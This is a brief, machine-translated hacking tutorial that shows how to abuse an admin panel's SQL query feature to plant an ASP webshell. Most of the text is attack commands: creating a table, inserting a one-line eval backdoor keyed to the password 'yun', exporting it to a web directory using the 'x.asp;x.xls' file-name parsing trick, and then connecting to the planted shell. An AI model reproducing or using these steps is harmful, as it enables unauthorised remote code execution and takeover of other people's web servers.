Use the background SQL query statement to get webshell

Today, my friend gave me a fun background
 
SQL query
 
 
 
You can get the physical path of the website on the home page of the background or back up something. I did not upload a horse here. I directly clicked back up the database. The key point is to get the physical path, or a variety of explosive physical paths, but also depends on luck and freedom to play
 
Take the following webshell steps
 
First code
 
 
Create table cmd (a varchar (50 ))
Code 2
 
 
Insert into cmd (a) values ('<% eval request ("yun") %> ')
Code 3
 
Select * into [a] in 'd: \ wwwroot \ wjqcad \ admin163 \ Databackup \ x.asp;x.xls '''excel 4.0; 'from cmd
Code 4
 
 
Drop table cmd
Directly connect http://www.bkjia.com/x.asp;x.xls one-sentence password is yun